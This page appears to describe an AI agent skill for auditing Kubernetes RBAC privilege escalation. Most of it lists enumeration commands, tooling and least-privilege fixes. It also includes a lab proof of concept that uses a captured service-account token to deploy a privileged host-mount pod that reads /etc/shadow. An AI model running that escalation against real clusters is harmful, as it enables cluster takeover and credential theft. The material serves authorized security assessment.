Communitygithub.com

审计 Kubernetes RBAC 权限提升

系统性地枚举 Kubernetes RBAC 中每个主体的有效权限,识别可导致集群管理员提权的危险原语,并提供修复建议。

审计 Kubernetes RBAC 权限提升 是什么?

此技能用于对 Kubernetes 集群进行授权的安全评估或渗透测试。它通过系统地枚举所有 Role、ClusterRole、RoleBinding 和 ClusterRoleBinding 对象,并使用 `kubectl auth can-i --as` 等工具检查每个主体(如 ServiceAccount)的有效权限,来识别那些可以提升到集群管理员权限的危险 RBAC 原语(如 `escalate`, `bind`, `impersonate`, `create pods`, `get secrets` 等)。技能还指导用户追踪挂载了高权限 ServiceAccount Token 的 Pod,并在实验室环境中演示从 Pod 到主机的提权过程。最终,它会生成一份包含优先级排序的发现报告和最小权限修复建议。该技能基于 Kubernetes 官方 RBAC 最佳实践和 Unit 42 的研究,支持使用 `kubectl`、`rbac-police`、`kubectl-who-can` 等工具,可在任何 Kubernetes 集群上运行。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-kubernetes-rbac-privilege-escalation

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

审计 Kubernetes RBAC 权限提升 是做什么的?

法律声明: 本技能仅用于授权的安全测试和教育目的。枚举和行使 RBAC 权限会影响实时集群的访问状态。仅测试您拥有或获得明确书面授权评估的集群。

概述

Kubernetes 基于角色的访问控制 (RBAC, MITRE ATT&CK T1078 有效账户) 通过由 RoleBinding/ClusterRoleBinding 绑定的 Role/ClusterRole 规则来管理每个用户和服务账户可执行的操作。由于工作负载默认会挂载一个服务账户令牌,攻陷一个 Pod 的攻击者将继承该账户的 RBAC 权限。过度权限的绑定可将一个被攻陷的 Pod 转变为对整个集群的控制:某些动词和资源具有“等同于集群管理员”的 RBAC 权限。

根据 Kubernetes“RBAC 最佳实践”指南和 Unit 42 的研究,危险的权限原语包括:

  • 对 roles 的 escalate — 授予自己任何权限,即使你本来没有。
  • 对 clusterroles 的 bind — 创建一个指向 cluster-admin 的绑定。
  • 对用户/组/服务账户的 impersonate — 以任何主体身份行动,包括 system:masters。
  • 对 pods 的 create/update/patch — 调度特权 Pod 或挂载节点,从而逃逸到主机 (T1611)。
  • 对 pods/exec、pods/attach、pods/ephemeralcontainers 的 create — 在任何现有 Pod 中运行代码。
  • 对 secrets 的 get/list/watch — list 操作会返回完整的 Secret 内容,包括其他服务账户的令牌。
  • 对 serviceaccounts/token 的 create — 为更特权账户生成令牌。
  • 对 validatingwebhookconfigurations/mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approval 的 update/patch — 准入/CSR 滥用以获取集群管理员权限。
  • 通配符 (verbs: ["*"], resources: ["*"]) — 隐式超级权限。

本技能系统地枚举每个主体的有效权限,映射哪些主体拥有这些提权原语,并生成修复证据。来源:Kubernetes RBAC 最佳实践;Unit 42 Kubernetes RBAC 研究。

使用时机

  • 在授权的 Kubernetes 安全评估或集群渗透测试期间
  • 在攻陷一个 Pod 后,确定其服务账户令牌可以访问哪些资源
  • 在生产环境上线前审查 RBAC 配置漂移
  • 在平台迁移或 Helm 发布后验证最小权限原则

前置条件

  • kubectl 配置为连接目标集群(使用您自己的凭据或捕获的服务账户令牌)
  • 对 RBAC 对象的读取权限(大多数审计使用 cluster-reader 或 admin 上下文运行)
  • 审计工具:
    # rbac-police - 发现提权路径 (Cymulate)
    curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
    chmod +x rbac-police
    
    # kubectl-who-can - 哪些主体可以执行某个操作 (Aqua)
    kubectl krew install who-can
    
    # rakkess - 当前/其他主体的资源 x 动词访问矩阵
    kubectl krew install access-matrix
    
    # rbac-lookup - 主体拥有的角色 (FairwindsOps)
    kubectl krew install rbac-lookup
    

目标

  • 盘点所有 Role、ClusterRole、RoleBinding 和 ClusterRoleBinding 对象
  • 使用 kubectl auth can-i --as 枚举每个主体的有效权限
  • 识别拥有“等同于集群管理员”RBAC 原语的主体
  • 追踪挂载令牌的 Pod 到过度权限的服务账户
  • 在实验室中端到端演示一个提权路径
  • 输出一份带有优先级排序的发现报告和最小权限修复建议

MITRE ATT&CK 映射

技术 ID名称战术
T1078有效账户防御规避 / 持久化 / 权限提升
T1098账户操纵持久化
T1528窃取应用程序访问令牌凭据访问
T1613容器和资源发现发现
T1611逃逸到主机权限提升

工作流程

步骤 1:盘点 RBAC 对象

# 所有角色和绑定,集群范围
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# 导出完整 RBAC 用于离线分析
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# 谁绑定到了 cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

步骤 2:枚举每个主体的有效权限

kubectl auth can-i 是权威检查,因为它评估了实时的授权器(RBAC + webhooks)。使用 --as 来模拟一个主体(需要有模拟权限用于审计身份)。

# 服务账户的完整访问矩阵
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# 针对危险权限的探测
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# 使用 rakkess 获取主体的完整动词 x 资源矩阵
kubectl access-matrix --as system:serviceaccount:dev:builder

步骤 3:搜寻提权原语

# 谁可以在集群中执行每个危险操作?
kubectl who-can create pods
kubectl who-can '*' '*'                      # 通配符上帝模式持有者
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # bind 类型提权

# 在原始导出文件中搜索 escalate/bind/impersonate 动词和通配符
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

步骤 4:使用 rbac-police 运行自动化提权路径分析

rbac-police 评估集群快照上的 Rego 策略,以发现可以提权到集群管理员的主体及其确切路径。

# 运行所有内置的提权检查(需要具有读取权限的 kubeconfig)
./rbac-police eval ./lib/policies/

# 仅运行权限提升策略,严重发现以 JSON 格式输出
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# 首先收集快照(离线分析 / 隔离网络审查)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

步骤 5:追踪 Pod 到过度权限的服务账户

一个发现只有在可访问的工作负载挂载了该令牌时才重要。

# 将每个 Pod 映射到其服务账户
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# 查找自动挂载令牌(默认)且绑定到风险服务账户的 Pod
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup:该服务账户实际拥有什么?
kubectl rbac-lookup builder --kind serviceaccount

步骤 6:演示提权路径(仅限实验室)

示例:一个拥有 create pods 权限且能访问某个节点的服务账户可以调度一个挂载主机文件系统的特权 Pod。

# 使用捕获的令牌,直接连接 API 服务器
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# 确认危险权限
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# 调度一个特权主机挂载 Pod(证明节点/主机控制权被接管)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # 主机 /etc/shadow 证明了提权成功

步骤 7:报告和修复

# 生成最小权限违反摘要
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "发现 cluster-admin 绑定到: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

修复措施:用明确的动词/资源替换通配符;除非必需,否则移除 escalate/bind/impersonate;在不需要调用 API 的工作负载上设置 automountServiceAccountToken: false;尽可能使用 Role(命名空间范围)而非 ClusterRole;谨慎使用 aggregationRule。

工具和资源

工具用途来源
kubectl auth can-i权威的实时权限检查 (--list, --as)https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police基于 Rego 的提权路径分析https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can反向查找:谁可以做某事https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)每个主体的动词 x 资源矩阵https://github.com/corneliusweig/rakkess
rbac-lookup主体拥有的角色https://github.com/FairwindsOps/rbac-lookup
Kubernetes RBAC 最佳实践权威的提权原语列表https://kubernetes.io/docs/concepts/security/rbac-good-practices/

危险 RBAC 原语参考

动词 / 资源为什么它等同于集群管理员
对 roles 的 escalate授予自己任何权限
对 clusterroles 的 bind将自己绑定到 cluster-admin
对用户/组的 impersonate以 system:masters 身份行动
create pods (+ 节点访问)特权的/hostPath Pod -> 主机控制权接管
create pods/exec,pods/attach在现有 Pod 中运行代码
get/list secrets读取所有令牌和凭据
create serviceaccounts/token生成特权令牌
*/* (通配符)隐式超级权限

验证标准

  • 所有 Role/ClusterRole/Binding 对象已盘点和导出
  • 已枚举 cluster-admin 主体列表
  • 已通过 auth can-i --list 枚举每个服务账户的有效权限
  • 已识别所有危险原语持有者(escalate/bind/impersonate/secrets/pods)
  • 已审查 rbac-police 提权路径
  • 已将有令牌挂载的 Pod 映射到风险服务账户
  • 在实验室中至少演示了一个提权路径
  • 生成了包含最小权限修复建议的发现报告
  • 所有测试均在授权范围内进行

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相关技能